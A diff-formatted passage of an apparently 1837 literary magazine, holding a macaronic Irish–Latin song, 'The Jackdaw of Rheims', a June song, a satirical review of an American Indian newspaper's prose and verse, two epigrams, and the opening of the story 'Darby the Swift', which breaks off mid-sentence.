+    I am alone                          Me ames,
+    In this world without you!          Pero! pillauleu!
+
+              2.                                II.
+    Och hone!                           Heu! heu!
+      But why should I speak              Sed cur sequar laude
+    Of your forehead and eyes,          Ocellos aut frontem
+    When your nose it defies            Si NASI, cum fraude,
+    Paddy Blake the schoolmaster        Prætereo pontem?...
+      To put it in rhyme?--               Ast hic ego minùs
+    Though there's one BURKE,           Quàm ipse LONGINUS
+    He says,                            In verbis exprimem
+    Who would call it _Snub_lime ...    Hunc nasum sublimem ...
+      And then for your cheek,            De floridâ genâ
+    Throth 'twould take him a week      Vulgaris camoena
+    Its beauties to tell                Cantaret in vanum
+    As he'd rather:--                   Per annum.--
+      Then your lips, O machree!          Tum, tibi puella!
+    In their beautiful glow             Sic tument labella
+    They a pattern might be             Ut nil plus jucundum
+    For the cherries to grow.--         Sit, aut ribicundum;
+    'Twas an apple that tempted         Si primitùs homo
+    Our mother, we know;                Collapsus est pomo,
+    For apples were scarce              Si dolor et luctus
+    I suppose long ago:                 Venerunt per fructus,
+    But at this time o' day,            Proh! ætas nunc serior
+    'Pon my conscience I'll say,        Ne cadat, vereor,
+    Such cherries might tempt           Icta tam bello
+    A man's father!                     Labello:
+      Och hone, wierasthrew!              Heu! heu! nisi tu
+    I'm alone                           Me ames,
+    In this world without you!          Pereo! pillaleu!
+
+              3.                               III.
+    Och hone!                           Heu! heu!
+      By the man in the moon!             Per cornua lunæ
+    You teaze me all ways               Perpetuò tu ne
+    That a woman can plaze;             Me vexes impunè?...
+      For you dance twice as high         I nunc choro salta
+    With that thief Pat Macghee         (Mac-ghìus nam tecùm)
+    As when you take share              Plantâ magis altâ
+    Of a jig, dear, with me;            Quàm sueveris mecùm!...
+      Though the piper I bate,            Tibicinem quando
+    For fear the ould chate             Cogo fustigando
+    Wouldn't play you your              Ne falsum det melus,
+    Favourite tune.                     Anhelus.--
+      And when you're at Mass             A te in sacello
+    My devotion you crass,              Vix mentem revello,
+    For 'tis thinking of you            Heu! miserè scissam
+    I am, Molly Carew;                  Te inter et Missam;
+    While you wear on purpose           Tu latitas vero
+    A bonnet so deep,                   Tam stricto galero
+    That I can't at your sweet          Ut cernere vultum
+    Pretty face get a peep.             Desiderem multùm.
+    Oh! lave off that bonnet,           Et dubites jam, nùm
+    Or else I'll lave on it             (Ob animæ damnum)
+    The loss of my wandering            Sit fas hunc deberi
+    Sowl!                               Auferri!
+      Och hone! like an owl,              Heu! heu! nisi tu
+    Day is night,                       Coràm sis,
+    Dear, to me without you!            Cæcus sim: eleleu!
+
+              4.                               IV.
+    Och hone!                           Heu! heu!
+      Don't provoke me to do it;          Non me provocato,
+    For there's girls by the score      Nam virginum sat, o!
+    That loves me, and more.            Stant mihi amato ...
+      And you'd look very queer,          Et stuperes planè,
+    If some morning you'd meet          Si aliquo manè
+    My wedding all marching             Me sponsum videres;
+    In pride down the street.           Hoc quomodo ferres?
+      Throth you'd open your eyes,        Quid diceres, si cum
+    And you'd die of surprise           Triumpho per vicum,
+    To think 'twasn't you               Maritus it ibi,
+    Was come to it.                     Non tibi!
+      And 'faith! Katty Naile             Et pol! Catherinæ
+    And her cow, I go bail,             Cui vacca, (tu, sine)
+    Would jump if I'd say,              Si proferem hymen
+    "Katty Naile, name the day."        Grande esset discrimen;
+    And though you're fair and fresh    Tu quamvis, hìc aio
+    As the blossoms in May,             Sis blandior Maio,
+    And she's short and dark            Et hæc calet rariùs
+    Like a cowld winter's day,          Quàm Januarius;
+    Yet, if _you_ don't repent          Si non mutas brevi,
+    Before Easter,--when                Lent Hanc mihi decrevi
+    Is over--I'll marry                 (Ut sic ultus forem)
+    For spite.                          Uxorem;
+      Och hone! and when I                Tum posthâc diù
+    Die for you,                        Me spectrum
+    'Tis my ghost that you'll see       Verebere tu ... eleleu!
+         every night!
+
+
+
+
+         FAMILY STORIES. No. IV.--THE SQUIRE'S STORY.
+
+                  THE JACKDAW OF RHEIMS.
+                     A GOLDEN LEGEND.
+
+             "Tunc miser Corvus adeo conscientiæ
+            stimulis compunctus fuit, et execratio
+            eum tantopere excarneficavit, ut exinde tabescere
+            inciperet, maciem contraheret, omnem cibum aversaretur,
+            nec ampliùs crocitaret: pennæ præterea ei defluebant,
+            et alis pendulis omnes facetias intermisit, et tam
+            macer apparuit ut omnes ejus miserescerent."
+
+            "Tunc abbas sacerdotibus mandavit ut
+            rursus furem absolverent; quo facto, Corvus, omnibus
+            mirantibus, propediem convaluit, et pristinam
+            santitatem recuperavit." _De Illust. Ord. Cisterc._
+
+    The Jackdaw sat on the Cardinal's chair!
+    Bishop, and abbot, and prior were there;
+        Many a monk, and many a friar,
+        Many a knight, and many a squire,
+    With a great many more of lesser degree,--
+    In sooth, a goodly company;
+    And they served the Lord Primate on bended knee.
+        Never, I ween,
+        Was a prouder seen,
+    Read of in books, or dreamt of in dreams,
+    Than the Cardinal Lord Archbishop of Rheims!
+
+        In and out,
+        Through the motley rout,
+    That little Jackdaw kept hopping about;
+        Here and there,
+        Like a dog in a fair,
+        Over comfits and cates,
+        And dishes and plates,
+    Cowl and cope, and rochet and pall,
+    Mitre and crosier, he hopped upon all!
+        With a saucy air,
+        He perch'd on the chair
+    Where in state the great Lord Cardinal sat
+    In the great Lord Cardinal's great red hat;
+        And he peer'd in the face
+        Of his Lordship's Grace
+    With a satisfied look, as if he would say,
+    "We two are the greatest folks here to-day!"
+        And the priests, with awe,
+        As such freaks they saw,
+    Said, "The devil must be in that little Jackdaw!"
+
+    The feast was over, the board was clear'd,
+    The flawns and the custards had all disappear'd,
+    And six little singing-boys,--dear little souls
+    In nice clean faces and nice white stoles,
+        Came, in order due,
+        Two by two,
+    Marching that grand refectory through!
+    A nice little boy held a golden ewer,
+    Embossed, and filled with water as pure
+    As any that flows between Rheims and Namur,
+    Which a nice little boy stood ready to catch
+    In a fine golden hand-basin made to match.
+    Two nice little boys, rather more grown,
+    Carried lavender water and eau de Cologne;
+    And a nice little boy had a nice cake of soap,
+    Worthy of washing the hands of the Pope.
+        One little boy more
+        A napkin bore,
+    Of the best white diaper, fring'd with pink,
+    And a Cardinal's Hat mark'd in permanent ink.
+
+    The great Lord Cardinal turns at the sight
+    Of these nice little boys dress'd all in white:
+        From his finger he draws
+        His costly turquoise;
+    And, not thinking at all about little Jackdaws,
+        Deposits it straight
+        By the side of his plate,
+    While the nice little boys on his Eminence wait;
+    Till, when nobody's dreaming of any such thing,
+    That little Jackdaw hops off with the ring.
+
+       *       *       *       *       *
+
+        There's a cry and a shout,
+        And a deuce of a rout,
+    And nobody seems to know what they're about,
+    But the monks have their pockets all turn'd inside out;
+        The friars are kneeling,
+        And hunting, and feeling
+    The carpet, the floor, and the walls, and the ceiling.
+        The Cardinal drew
+        Off each plum-coloured shoe,
+    And left his red stockings expos'd to the view;
+        He peeps, and he feels
+        In the toes and the heels.
+    They turn up the dishes, they turn up the plates,
+    They take up the poker and poke out the grates,
+        They turn up the rugs,
+        They examine the mugs:--
+        But no! no such thing;
+        They can't find the ring;
+    And the abbot declared that, "when nobody twigg'd it,
+    Some rascal or other had popped in, and prigg'd it!"
+
+    The Cardinal rose with a dignified look,
+    He call'd for his candle, his bell, and his book!
+      In holy anger, and pious grief,
+      He solemnly cursed that rascally thief!
+      He curs'd him at board, he curs'd him in bed;
+      From the sole of his foot to the crown of his head;
+      He curs'd him in sleeping, that every night
+      He should dream of the devil, and wake in a fright;
+      He curs'd him in eating, he curs'd him in drinking,
+      He curs'd him in coughing, in sneezing, in winking;
+      He curs'd him in sitting, in standing, in lying,
+      He curs'd him in walking, in riding, in flying,
+      He curs'd him living, he curs'd him dying!
+    Never was heard such a terrible curse;
+        But, what gave rise
+        To no little surprise,
+    Nobody seem'd one penny the worse!
+
+        The day was gone,
+        The night came on,
+    The monks and the friars they search'd till dawn;
+        When the Sacristan saw,
+        On crumpled claw,
+    Come limping a poor little lame Jackdaw!
+        No longer gay,
+        As on yesterday;
+    His feathers all seem'd to be turn'd the wrong way;
+    His pinions droop'd, he could hardly stand,
+    His head was as bald as the palm of your hand;
+        His eye so dim,
+        So wasted each limb,
+    That heedless of grammar, they all cried, "That's him!--
+    That's the scamp that has done this scandalous thing!
+    That's the thief that has got my Lord Cardinal's ring!"
+
+        The poor little Jackdaw,
+        When the monks he saw,
+    Feebly gave vent to the ghost of a caw;
+    And turn'd his bald head, as much as to say,
+    "Pray, be so good as to walk this way!"
+        Slower and slower
+        He limp'd on before,
+    Till they came to the back of the belfry-door,
+        Where the first thing they saw,
+        'Midst the sticks and the straw,
+    Was the ring, in the nest of that little Jackdaw!
+
+    Then the great Lord Cardinal call'd for his book,
+    And off that terrible curse he took;
+        The mute expression
+        Serv'd in lieu of confession,
+    And, being thus coupled with full restitution,
+    The Jackdaw got plenary absolution.
+        When those words were heard,
+        That poor little bird
+    Was so changed in a moment, 'twas really absurd:
+        He grew sleek and fat;
+        In addition to that,
+    A fresh crop of feathers came thick as a mat!
+        His tail waggled more
+        Even than before;
+    But no longer it wagged with an impudent air,
+    No longer he perch'd on the Cardinal's chair.
+        He hopped now about
+        With a gait devout;
+    At Matins, at Vespers, he never was out;
+    And, so far from any more pilfering deeds,
+    He always seem'd telling the Confessor's beads.
+    If any one lied, or if any one swore,
+    Or slumber'd in pray'r time and happened to snore,
+        That good Jackdaw
+        Would give a great "caw,"
+    As much as to say, "Don't do so any more!"
+    While many remarked, as his manner they saw,
+    That they never had known such a pious Jackdaw!
+        He long lived the pride
+        Of that country side,
+    And at last in the odour of sanctity died;
+        When, as words were too faint
+        His merits to paint,
+    The conclave determined to make him a Saint;
+    And on newly-made Saints and Popes, as you know,
+    It's the custom at Rome new names to bestow,
+    So they canoniz'd him by the name of Jem Crow!
+
+
+
+
+    OUR SONG OF THE MONTH. No. VI.
+         June, 1837.
+
+               I.
+    Mother of summer roses!
+    Winter's ling'ring closes
+      Made us fear for thee:--
+    Many a hope was wailing,
+    Thinking thou wert sailing,
+      With thy smile,
+      To some false isle,
+    Upon our tribute sea!
+
+              II.
+    Mother of summer roses!
+    Nought on earth opposes
+      Our fond claim to thee!
+    Find'st thou welcome dearer?
+    Beauty or minstrels nearer?
+      In the arch
+      Of thy round march
+    Can gentler rest-place be?
+
+             III.
+    Mother of summer roses,
+    June! thy month discloses
+      All that is sweet and fair:
+    Birds and flower wreathing
+    Minstrel garlands, breathing
+      Song and bloom
+      In one perfume,
+    Reviving the faint air!
+
+              IV.
+    Mother of summer roses!
+    On thy breast reposes
+      The flush'd cheek of the year:
+    Break not his soft slumbers
+    With rude music-numbers:
+      Mingled gush
+      Of stream and thrush
+    Be all that may come near!
+                               W.
+
+
+
+
+      PERIODICAL LITERATURE OF THE NORTH AMERICAN INDIANS.
+
+It is an astounding but gratifying proof of the rapid march of
+civilization, that periodical literature springs up and flourishes among
+tribes and nations which, but twenty or thirty years ago, had hardly
+advanced a few steps beyond barbarism. A Cherokee newspaper has for some
+time been published, and in the Sandwich Islands a gazette has recently
+been established; and a file of a paper called "the Indian Phoenix,"
+published in the United States, under the superintendence of an Indian
+editor, and addressed exclusively to his countrymen, has just fallen
+under our notice. These are pleasing facts for the consideration of
+every true philanthropist, and stable data on which the philosopher may
+argue that the day is not far distant when the rays of knowledge shall
+illumine every nation of the earth. Wherever a newspaper is established,
+ignorance must diminish; for the newspaper is not only the effect, but
+the cause of civilization,--not only the work itself, but the means by
+which the work is performed. The Indian Phoenix is published in the
+English language at Washington, and is from thence distributed among
+these roving aborigines, not only in every part of the United States,
+but throughout the vast territories of Mexico and Texas. The paper is
+not only edited, but printed by Indians; and, whatever may be said of
+the intellectual portions of it, the mechanical parts will certainly
+bear comparison with the provincial journals of England, and are much
+before the newspapers of several of the nations of Europe, those of
+Germany and Portugal for instance, which are as wretched specimens of
+typography as it is now possible to meet with.
+
+For the amusement of our readers we shall proceed to make a few extracts
+from these very curious journals. The principles which are advocated
+therein will, no doubt, appear startling at first sight; but a little
+reflection will show, that, although strange, they are not altogether
+unfounded. These men have, by the strong arms of European civilization,
+been driven from the wild forests inherited by their forefathers,
+the woods they hunted in have been converted into corn-fields, and
+the clear waters of the lonely rivers beside which they dwelt have
+been contaminated by the refuse of smoky manufactories, and rendered
+busy with the sails and paddle-wheels of enterprising commerce. The
+civilization which thus came upon the land from afar has now reached
+its original inhabitants; and the Indians, savages no more, have
+begun to employ the arts of peace and the powerful weapons of opinion
+to reconquer a portion of the broad lands of which they have been
+despoiled. The struggles in Texas, and the unsettled state of Mexico,
+have caused them to turn their eyes in that direction; and they have
+been inspired by the hope that Mexico is to be the region in which
+all the scattered tribes will be collected together to form one great
+independent nation. It is not intended in this brief notice to speculate
+upon the probability or improbability of such a scheme, or to say
+whether or not these dispersed and dismembered clans, without leader or
+bond of union, will ever be able to accomplish so gigantic a project.
+It is sufficient to state that such is their object, in order that the
+reader may understand the allusions in the extracts which we shall place
+before him. The following will show the prose these Indians are capable
+of writing (we shall come to their poetry by and by), and will also give
+an idea of their political creed. In the leading article of the first
+number, the editor says,
+
+"Our creed may be met with in these words. We render unto the
+self-esteemed civilized world the things which are the self-esteemed
+civilized world's, and unto the long-oppressed, yet noble, elevated, and
+dignified Indian the things which once belonged and shall again belong
+to him."
+
+These sentiments, and their open avowal, although they may not cause the
+settler to tremble for the safety of his homestead, ought nevertheless
+to make the statesman ponder well on the condition and aspirations of
+this ill-used race. The editor continues:
+
+"In the deep gloom of the future position of these countries we see
+no evidence of a single periodical grasping with energetic vision
+the coming time. Alone, therefore, do we step on the arena of public
+opinion. With nerved heart and nerved hand shall we advance: the
+curiosity of the many, the surprise of others, the encouragement of the
+few, the denunciations of the National Gazette, or New York American,
+or all who may follow in their fetid and nauseous trail, shall not turn
+wide one of the barbed arrows which shall now and henceforth be launched
+unsparingly at all who cross our path."--"We are not mad, most noble
+Festus, but speak the words of truth and soberness."
+
+The following little bit of Scriptural exposition will, no doubt, cause
+a smile even on the grave faces of the learned doctors who are versed in
+Biblical knowledge. The Indians, stigmatized by the civilized nations
+of the earth for the cruel practice of scalping their fallen enemies,
+bring forward the authority of our sacred book in their justification.
+Even David, the man after God's own heart, and one of the finest poets
+the world ever produced, went out on the war-path like a Mohican or a
+Cherokee, and bore away the scalps of his enemies! The editor hints
+that this alone would warrant the assertion which has been so often put
+forth, that America was peopled by the lost ten tribes of Israel. He
+says,
+
+"We invite the attention--we throw down the gauntlet of defiance to all
+and every civilized Christian in Europe or America to gainsay or dispute
+the correctness or validity of the inferences and facts stated below.
+The Scriptures say,
+
+"'And Michal, Saul's daughter, loved David; and they told Saul, and the
+thing pleased him.
+
+"'And Saul said, I will give him her that she may be a snare to him, and
+that the hand of the Philistines may be against him.
+
+"'And Saul said, Thus shall ye say to David: the king desireth not any
+dowry, but a hundred foreskins of the Philistines, to be avenged on the
+king's enemies. But Saul thought to make David fall by the hand of the
+Philistines.
+
+"'Wherefore David arose, he and his men, and slew of the Philistines two
+hundred men, and David brought their foreskins, and they gave them in
+full toll to the king, that he might be the king's son-in-law.'
+
+"We see from this," (continues the editor of the Phoenix,) "that
+David, who was a great Jewish warrior, went out on the war-path not
+from any motive of war, or to revenge the death of his fallen comrades;
+but for what? Why, to get a marriage portion to lay before the king
+of the Jewish nation. And what was this marriage portion? Lo! it was
+one hundred _scalps_ of the Philistines. * * * * * At the conclusion
+we are told that Michal, Saul's daughter, loved him. Why? _Because he
+was a great warrior, who had taken many scalps, and, moreover, David
+behaved himself wisely, that is, cunning, in taking of scalps from the
+Philistines, so that his name was much set by._ As the Jews were in the
+time of Saul and David, so are the Indian tribes of the West and of
+North America. They go out on the war-path, they return with scalps; and
+the daughters of the tribe sing, as in the days of David, 'The warrior
+Dutch hath slain his tens, but the warrior Smith hath slain his fifties
+in the villages of the Tarwargans.'"
+
+The following is a specimen of the poetry,--one of the war-songs of
+these regenerated Indians. We cannot say it is quite equal to the prose,
+but it is certainly more curious.
+
+    "Indian chiefs, arise!
+      The glorious hour's gone forth,
+    And in the world's eyes
+      Display who gave you birth!
+    Indian chiefs, let us go
+    In arms to Mexico;
+    Till the Spanish blood shall flow
+      In a river at our feet.
+
+    Then, manfully despising
+      The pale faces' yoke,
+    Let your tribes see you rising
+      Till your chains is broke!"
+
+Fastidious readers may object both to the vigour and the grammar of the
+above; but we have still richer specimens in store for them. The song
+continues:
+
+    "As rose the tribes of _Judah_
+      In days long past and gone,
+    I'll lead you to as _good a_
+      Land to be your own.
+
+    Cherokee! in slumbers
+      Why lethargic wilt thou lie?
+    Arise, and bring thy numbers
+      Us to ally.
+
+    Arouse! Oh, then, awake thee!
+      And hasten to my standard;
+    For I will ne'er forsake thee,
+      But ever lead the vanguard!
+
+    Come on, the brave Oneida,
+      Seneca, Delaware,
+    The promised land divide a-
+      -Mong you when you're there."
+
+The rhymes of "Judah" and "good a" and "standard" and "vanguard," are
+tolerably original; but they are beaten hollow by that of the last
+verse, "Oneida" and "divide a-"!--"-Mong you when you're there," is a
+sequel which has much more truth than elegance in it. "-Mong you (_when
+you're there_?)" we would suggest as a new and improved reading of the
+passage. The following is in a much more elevated style; there is a
+rough vigour about it which many of our own namby-pamby poetasters would
+do well to imitate. The rhymes are also more felicitous, and the measure
+and grammar less objectionable.
+
+    "The mountain sheep are sweeter,
+      But the valley sheep are fatter;
+    We therefore deemed it meeter
+      To carry off the latter.
+    We planned an expedition:
+      We met a host, and quelled it;
+    We took a strong position,
+      And killed the men who held it!"
+
+The above stanza is unique. Every line tells; and there is a raciness, a
+tartness about it, if we may so express it, which is quite delightful.
+
+    "_The valley sheep are fatter;_
+    _We therefore deemed it meeter_
+      _To carry off the latter._"
+
+Many ballads have been written about Rob Roy, who also had a sneaking
+inclination for the "fat sheep" of other people: but the daring
+simplicity of these lines has never been surpassed. The song continues:
+
+    "On Norte's richest valley,
+      There herds of kine were browsing;
+    We made a nightly sally
+      To furnish our carousing.
+    Fierce soldiers rushed to meet us,
+      We met them, and o'erthrew them;
+    They struggled hard to beat us,
+      But we conquered them, and slew them!
+
+    As we drove our prize at leisure,
+      Santa Anna marched to catch us;
+    His rage surpassed all measure,
+      Because he could not match us.
+    He fled to his hall pillars;
+      But, ere our force we led off,
+    Some sacked his house and cellars,
+      While others cut his head off."
+
+Poetry has always been allowed some licence, and we suppose we must pass
+over the assertion in the last line, by merely observing by the way that
+Santa Anna is, in vulgar phrase, still "alive and kicking." The song
+ends thus:
+
+    "We then, in strife bewildering,
+      Spilt blood enough to swim in;
+    We orphaned many children, (_childering_)
+      And widowed many women.
+
+    The eagles and the ravens
+      We glutted with the foemen;
+    Their heroes and their cravens,
+      Their lancers and their bowmen.
+
+    As for Santa Anna, their blood-red chief,
+      His head was borne before us;
+    His wine and beasts supplied our feasts,
+      And his overthrow our chorus."
+
+The foregoing extracts are all in a warlike strain. We will now give a
+few specimens of the softer lyrics in which these _scalpers_ indulge.
+The Irish melodies of Moore are, it appears, not unknown even amongst
+them; and that they are admired, the following imitation, or rather
+parody, of one of the most beautiful of them will sufficiently show.
+
+    "There is not in the wide world a valley so sweet
+    As that Mexican vale in whose bosom "lakes" meet.
+    Oh! the last ray of feeling and life must depart,
+    Ere the bloom of that valley shall fade from my heart!
+
+    Yet it was not that nature had shed o'er the scene
+    Her purest of crystal, and brightest of green;
+    'Twas not the soft magic of streamlet or hill:
+    Oh, no, it was something more heart-touching still!
+
+    'Twas remembrance of all,--Montezuma--his throne--
+    The power and the glory of Aztek all gone!
+    Like the leaves of the forest in autumn are strewn,
+    Were the splendour and hope of that race overthrown.
+
+    But the day-star is rising unclouded and bright,
+    That shall clear and illumine long ages of night,
+    And restore to that valley the Indian race,
+    And leave of their white lords no longer a trace.
+
+    Sweet "Mexican valley," how calm shall we rest
+    In thy bosom of shade, when thy sons are all blest!
+    When 'neath the fig-tree and the vine of each man
+    They shall sing to the praise of the Almighty one!
+    When the storm of the war, and its bloodshed, shall cease,
+    And our hearts, like her lakes, be mingled in peace!"
+
+Interspersed through the papers are various imitations of our poets,
+especially of Scott, Byron, and Mrs. Hemans. As an apology for the
+plagiarisms, the editor places over the poet's corner the following
+motto:
+
+              "To the living poets we beg to say,
+            that it not being fair for them to monopolize
+            the best words in the language we write in, to say
+            nothing of the ideas, we take free liberty with them
+            when need is. We will make them amends two years hence
+            when they come to see us in the valleys of Mexico.
+            To the illustrious dead we shall fully explain our
+            reasons when we may chance to meet them in the 'great
+            elsewhere.'"
+
+The next specimen is an imitation of Ossian, a bard whose poetry must
+necessarily possess many charms for them.
+
+"Come, all ye warriors! come with your chief--come! The song rises
+like the sun in my soul! I feel the joys of other times. The Cherokee
+was on the land of Arkansas. The strange warriors of the prairie were
+rich in horses. We said in our souls, why not give the Tarwargans of
+their abundance? Six of our warriors were found on the great prairie,
+advancing like the moon among clouds, concealed from the view. Days
+had passed when they approached the wigwams of the Tarwargans. A
+narrow plain spreads beneath, covered with grass and aged trees. The
+blue course of a stream is there. The horses were secured. Their feet
+were slowly advancing towards the wigwams. Not without eyes were the
+Tarwargans. The warriors had not been invisible. High hopes of prairie
+horses and the scalps of the enemy fill their souls. A blast came upon
+them. The sound of rifles was heard in the air. Three of the warriors
+fell! The tomahawk descended, and they were left in their shame without
+scalps. Two warriors fled together. SMOKE (a warrior) fled not: he
+rushed for safety, and laid himself low with his rifle among the briers.
+Shouts of triumph are heard. The Tarwargans return. The slain are
+dragged to the dancing-ground--oh, grief! oh, revenge! Did you not know
+the heart of _Smoke_? Placed in the ground are three stakes; tied are
+the scalpless dead! Upright they sit. Oh, grief! the derision of the
+Tarwargans! 'Cunning warriors are ye, oh, Cherokees! but your scalps are
+at our feet.'"
+
+The following, which the editor assures us is a literal translation
+from an old song highly popular among the aboriginal tribes of Mexico,
+is interesting. The poetry of the original is so sublime that the
+translator, in despair of equalling it in rhyme, has given it us in
+plain prose.
+
+"Mexitli Tetzauhteotl (the Terrible God) o-ah! o-ah! o-ah! The son of
+the woman of Tula. The green plume is on his head, the wing of the eagle
+is on his leg; his forehead is blue, like the firmament. He carries a
+spear and buckler, and with the fir-tree of Colhuacan he crushes the
+mountains! O-ah! o-ah! o-ah! Mexitli Tetzauhteotl!"
+
+       *       *       *       *       *
+
+"Mexitli Tetzauhteotl! o-ah! o-ah! o-ah! my father ate the heart of
+Xochimilco! Where was Painalton, the god of the swift foot, when the
+Miztecas ran to the mountains? 'Fast, warrior, fast!' said Painalton,
+the brother of Mexitli. His foot-print is on the snows of Istaccihuatl,
+and on the tops of the mountains of Orizaba. Toktepec, and Chinantla,
+and Matlalzinco were strong warriors, but they shook under his feet
+as the hills shake when the king of hell groans in the caverns. So my
+father killed the men of the south, the men of the east, and the men of
+the west, and Mexitli shook the fir-tree with joy, and Painalton danced
+by night among the stars! O-ah! o-ah! Mexitli Tetzauhteotl!"
+
+       *       *       *       *       *
+
+"Mexitli Tetzauhteotl! o-ah! o-ah! Where is the end of Mexico? It begins
+in Huehuetapallan in the north, and who knows the end of Huehuetapallan?
+In the south it sees the land of crocodiles and vultures,--the bog and
+the rock where man cannot live. The sea washes it on the east, the
+sea washes it on the west, and that is the end: who has looked to the
+end of the waters? Mexico is the land of blossoms,--the land of the
+tiger-flower, and the cactus-bud that opens at night like a star,--the
+land of the dahlia, that ghosts come to snuff at. It is a land dear to
+Mexitli! O-ah! o-ah! Mexitli Tetzauhteotl!
+
+       *       *       *       *       *
+
+"Mexitli Tetzauhteotl! o-ah! o-ah! o-ah! Who were the enemies of Mexico?
+Their heads are in the wall of the house of skulls, and the little child
+strikes them as he goes by with a twig. Once Mexico was a bog of reeds,
+and Mexitli slept on a couch of bulrushes. Our god now sits on a world
+of gold, and the world is Mexico. Will any one fight me? I am a Mexican.
+Mexitli is the god of the brave. Our city is fair on the island, and
+Mexitli sleeps with us. When he calls me in the morning, I grasp the
+quiver,--the quiver and the axe,--and I am not afraid. When he winds
+his horn from the woods, I know that he is my father, and that he will
+look at me while I fight. Sound the horn of battle; I see the spear of a
+foe. Mexitli Tetzauhteotl, we are the men of Mexico! O-ah! o-ah! Mexitli
+Tetzauhteotl!
+
+With this extract we shall conclude our notice of this very curious
+subject, promising, however, to return to it at a future period.
+
+
+
+
+                EPITAPH.
+
+    When London, of a rogue bereft,
+      Saw Tompkins, the _distiller_, die;
+    It seems some twenty pounds he left,
+      To pay a poet for a lie.
+    Thus wrote the bard, who, lacking gold,
+      Was yet to tell a fib unwilling:
+    "This stone need not _his_ worth disclose,
+      Who half his life was good _in-stilling_."
+                                                  R. J.
+
+
+
+
+              A GEOGRAPHICAL EPIGRAM.
+
+    "Oh, dear! such a climate 'tis death to be in--
+    I surely shall die in the 'Bights of Benin'!"
+
+    "All look for your death, and the more shall we rue it,
+    Since the _sups_, not the 'Bights,' will, alas! bring you to it."
+                                                                R. J.
+
+
+
+
+                   DARBY THE SWIFT; OR,
+       THE LONGEST WAY ROUND IS THE SHORTEST WAY HOME.
+
+                 "He who runs may read."
+
+
+                        CHAPTER 1.
+
+"A century or two ago, there was a class of dependents or hangers-on
+to the great families in Ireland, denominated 'running-footmen,' who
+may truly be looked upon as originals in their singular, laborious,
+and sometimes even dangerous calling. Though ostensibly mere
+letter-carriers, or light-parcel bearers, across the difficult parts of
+the country, as yet inaccessible to carriages, or even quadrupeds, (or
+rendered passable by that style of road-making which the _Colossus of
+Roads_, Macadam, pretended was _his_ discovery,) the running-footmen had
+occasionally charges of more serious import. They were often suspected
+of being the agents by whom political measures of local warfare were
+transmitted from baronial sovereigns to their distant clanships or
+allies,--of being walking, or rather running, telegraphs (for their
+speed was prodigious) of some plot of treason against the rights of
+the invader, and often cruelly and unjustly sacrificed to his fury,
+when intercepted on their secret but seldom hostile missions. They
+carried their notions of honour on the point of their trust, whatever
+it might be, to a romantic scrupulosity. No matter whether it was a
+love-letter or a challenge, a purse or a process, a curse or a blessing,
+the faithful runner never revealed it to any one but the person for
+whom it was intended. Though journeying by the most difficult passes,
+and undergoing the most severe privations, those extraordinary fellows
+seldom failed in their undertakings. This may be partially accounted for
+by the reverence they were held in by their own people; for as the lower
+Irish still continue to believe in the strange notion of their Oriental
+ancestors, that the souls of 'innocents' (in plainer English, 'fools,')
+are in heaven, and that their 'muddy vesture of decay' on earth is
+entitled to superstitious respect, these motleys, in either their real
+or assumed garb of folly, were treated with a kind of familiar or
+affectionate reverence wherever they went amongst their own countrymen.
+On the other hand, the paths of their treading, when they went out upon
+distant journeys, were so little known to the hostile strangers, that
+they ran but little chance of receiving injury at their hands, or even
+meeting with them. Such were the running-footmen of other days; but
+they are gone,--their _race_ is ended,--and those who pride themselves
+upon their descent from the stock seem to have retained but few of the
+qualifications of their ancestors. Everything romantic and happy in
+Ireland seems to be dwindling away. No longer do we hear the pleasant
+announcements of 'Blind Connal the harper, sir,' and 'Miss Biddy
+Maquillian the fiddler, my lady,' and 'Dermot O'Dowd the piper, boys,'
+and ----"
+
+I had just read so far in some work or other which I had carelessly
+taken up for a peep after dinner one day, when a loud knock at the door
+of my apartment made me close the book, and say "Come in!" The door
+slowly opened; but, as nobody entered, I demanded "Who's there?"
+
+"It's me, masther; Darby, yir honor."--"What do you want?" inquired
+I.--"Nothing, sir," said he, "but I've got a letther for ye,
+sir."--"From whom?" said I.--"Faix, I don't know, sir," replied he
+archly; "for I haven't read it yit; but here it is."--"Why don't you
+come in and give it to me?" demanded I.--"I'm afraid, sir," said he,
+"that my brogues would dirty the carpet, and set all the girls in the
+kitchen a-laughing at me for comin' into the drawin'-room; and sure a
+purtier room a man need never wish to come into."--"Oh! very well,"
+said I, rising; "you shall have your way, Darby."--"Am I to wait for an
+answer, sir?" said he, giving me the letter.--"No," replied I; "I'll
+ring if it be necessary."--"Thank yir honor," said Darby, and turned
+to descend the stairs with the furtive caution of a cat when stealing
+upon its prey, lest he should make his brogues audible. A loud crash,
+succeeded by a louder laugh, through which I distinctly heard, "_Merry
+bad look to yiz all!_" convinced me that Darby's coming up stairs with
+the letter was a contrivance of the other servants to play some trick
+upon him, which their merriment seemed to show had succeeded; but into
+which as I did not care to inquire, I sate down, opened my letter, and
+began to read. I had not proceeded far before I found it related to
+business of the most serious consequence, and required that I should
+write _instanter_ to a friend, who was on a visit at Bally----, (nearly
+forty miles distant across the country,) and have an answer by immediate
+return of post. There was no time to be lost; so I wrote my letter as
+speedily as possible, folded, sealed, and directed it, then rang the
+bell with unusual impatience. It was promptly answered; but this time
+there was no knock at the door before it opened, for it was Eileen,
+my usual attendant, that presented herself, with a face whose natural
+health, cheerfulness, and rustic beauty were considerably heightened by
+the flush of recent merriment.
+
+"What have you been doing with Darby, Eileen?" said I.--"_Oh,
+widdy-eelish!_" (her constant ejaculation) said she laughing, "nothing
+at all, sir; only he said he wanted to see the drawin'-room, so we sent
+him up with the letter, and he slipped his foot as he came down, sir;
+that's all."--"You know I don't like those tricks, Eileen," said I, with
+all the severity I could muster against her smothered laughter.--"No,
+sir; I know, sir; but when an _omadhaun_ like that--"--"Silence!" said
+I. "I want to send a letter by the post: what o'clock is it?"--"Half an
+hour too late, sir," said Eileen, resuming her gravity; "and there'll be
+no post to-morrow."--"No post to-morrow!" echoed I.--"No sir; tomorrow's
+Saturday, you know."--"Confusion!" said I, "it will be so indeed.
+What's to be done?"--"I don't know, sir," replied Eileen despondingly;
+"how far is it?"--"Oh! nearly forty miles across the country," cried
+I; "and I want an answer immediately."--"Can't Darby _run_ across
+with it?" said Eileen.--"_Run_ across with it!" cried I; "is the girl
+out of her senses? Run across forty miles, as if it were nothing more
+than a hop-step-and-jump!"--"He'll do it in that same, sir," said
+Eileen seriously, "if ye'll only tell him what it is."--"_Who_'ll
+do it?" cried I impatiently.--"Why, Darby, sir," said she; "Darby
+in the kitchen, that's known all the country round for Darby the
+Swift."--"What!" cried I, "that fellow that brought me the letter
